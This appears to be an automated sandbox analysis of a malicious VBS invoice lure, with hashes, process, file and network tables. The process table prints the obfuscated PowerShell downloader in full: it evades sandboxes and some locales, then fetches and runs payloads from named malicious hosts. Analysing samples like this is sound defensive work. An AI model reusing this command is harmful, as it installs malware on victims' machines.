File name: | Fatture__332332.vbs |
Full analysis: | https://app.any.run/tasks/71e65611-85e5-432d-b17a-53d5a4989a0d |
Verdict: | Malicious activity |
Analysis date: | April 23, 2019, 13:01:54 |
OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
Indicators: | |
MIME: | text/plain |
File info: | ASCII text, with CRLF, LF line terminators |
MD5: | 382C35A51298428EE0F0407732ED7FD1 |
SHA1: | EC70DD460D26ED7334D907C302D0018F003F40C4 |
SHA256: | 8AFDA8ABD89C4FECDA2692553D9FF1FC5592AEB7DB1D85AD85DFC8CEC6A0B6F5 |
SSDEEP: | 48:+O3zKROqkMZsg87NINNIueyOyIQ5Y4Yxy4Y0eyrIBIYWeIOWIYyTdIpryzy0zNGp:bVY9Do |
PID | CMD | Path | Indicators | Parent process |
---|---|---|---|---|
3796 | "C:\Windows\System32\WScript.exe" "C:\Users\admin\AppData\Local\Temp\Fatture__332332.vbs" | C:\Windows\System32\WScript.exe | — | explorer.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft ® Windows Based Script Host Exit code: 0 Version: 5.8.7600.16385 | ||||
3664 | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -Command $a='';105,102,40,32,40,40,71,101,116,45,85,73,67,117,108,116,117,114,101,41,46,78,97,109,101,32,45,109,97,116,99,104,32,39,82,85,124,85,65,124,66,89,124,67,78,39,41,32,45,111,114,32,40,40,71,101,116,45,87,109,105,79,98,106,101,99,116,32,45,99,108,97,115,115,32,87,105,110,51,50,95,67,111,109,112,117,116,101,114,83,121,115,116,101,109,32,45,80,114,111,112,101,114,116,121,32,77,111,100,101,108,41,46,77,111,100,101,108,32,45,109,97,116,99,104,32,39,86,105,114,116,117,97,108,66,111,120,124,86,77,119,97,114,101,124,75,86,77,39,41,32,41,123,32,101,120,105,116,59,32,125,59,36,120,103,115,100,32,61,32,91,83,121,115,116,101,109,46,73,79,46,80,97,116,104,93,58,58,71,101,116,84,101,109,112,80,97,116,104,40,41,59,36,118,100,106,104,32,61,32,74,111,105,110,45,80,97,116,104,32,36,120,103,115,100,32,39,73,110,116,101,108,77,101,70,87,83,101,114,118,105,99,46,101,120,101,39,59,36,115,97,103,121,102,99,121,32,61,32,39,104,116,116,112,58,47,47,105,116,46,112,114,111,97,99,116,105,111,110,102,108,117,105,100,115,46,99,111,109,47,97,112,105,63,122,121,115,101,39,59,36,117,100,106,119,101,119,120,32,61,32,74,111,105,110,45,80,97,116,104,32,36,120,103,115,100,32,39,83,101,97,114,99,104,73,51,50,46,106,115,39,59,36,99,97,119,115,115,115,32,61,32,39,104,116,116,112,58,47,47,105,109,103,46,114,104,101,111,118,101,115,116,46,99,111,109,47,108,50,46,112,104,112,63,118,105,100,61,112,101,99,56,39,59,36,120,117,105,99,102,32,61,32,74,111,105,110,45,80,97,116,104,32,36,120,103,115,100,32,39,103,98,100,120,98,46,112,100,102,39,59,36,106,104,121,100,32,61,32,39,104,116,116,112,115,58,47,47,119,119,119,46,105,110,97,105,108,46,105,116,47,99,115,47,105,110,116,101,114,110,101,116,47,100,111,99,115,47,105,115,116,114,95,111,112,95,117,99,109,95,50,49,56,52,50,53,46,112,100,102,39,59,116,114,121,123,40,78,101,119,45,79,98,106,101,99,116,32,78,101,116,46,87,101,98,67,108,105,101,110,116,41,46,68,111,119,110,108,111,97,100,70,105,108,101,40,36,99,97,119,115,115,115,44,36,117,100,106,119,101,119,120,41,59,83,116,97,114,116,45,80,114,111,99,101,115,115,32,36,117,100,106,119,101,119,120,59,125,99,97,116,99,104,123,125,59,116,114,121,123,40,78,101,119,45,79,98,106,101,99,116,32,78,101,116,46,87,101,98,67,108,105,101,110,116,41,46,68,111,119,110,108,111,97,100,70,105,108,101,40,36,115,97,103,121,102,99,121,44,36,118,100,106,104,41,59,83,116,97,114,116,45,80,114,111,99,101,115,115,32,36,118,100,106,104,59,125,99,97,116,99,104,123,125,59,116,114,121,123,40,78,101,119,45,79,98,106,101,99,116,32,78,101,116,46,87,101,98,67,108,105,101,110,116,41,46,68,111,119,110,108,111,97,100,70,105,108,101,40,36,106,104,121,100,44,36,120,117,105,99,102,41,59,83,116,97,114,116,45,80,114,111,99,101,115,115,32,36,120,117,105,99,102,59,125,99,97,116,99,104,123,125,59|%{$a+=[char]$_};iex $a; | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | WScript.exe | |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Version: 6.1.7600.16385 (win7_rtm.090713-1255) |
PID | Process | Filename | Type | |
---|---|---|---|---|
3664 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\VP1XY294CM1A7HVHZNYY.temp | — | |
MD5:— | SHA256:— | |||
3664 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF112d66.TMP | binary | |
MD5:33B4C42BAF9E3CA295E3BDCD51C02EAF | SHA256:B4273C31A01B0B90869574075D54D52E8098519587F61AE756B69729D0AF86A5 | |||
3664 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms | binary | |
MD5:33B4C42BAF9E3CA295E3BDCD51C02EAF | SHA256:B4273C31A01B0B90869574075D54D52E8098519587F61AE756B69729D0AF86A5 |
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
---|---|---|---|---|---|---|---|---|---|
3664 | powershell.exe | GET | — | 185.158.251.243:80 | http://img.rheovest.com/l2.php?vid=pec8 | NL | — | — | malicious |
PID | Process | IP | Domain | ASN | CN | Reputation |
---|---|---|---|---|---|---|
3664 | powershell.exe | 185.158.251.243:80 | img.rheovest.com | 23media GmbH | NL | suspicious |
Domain | IP | Reputation |
---|---|---|
img.rheovest.com |
| malicious |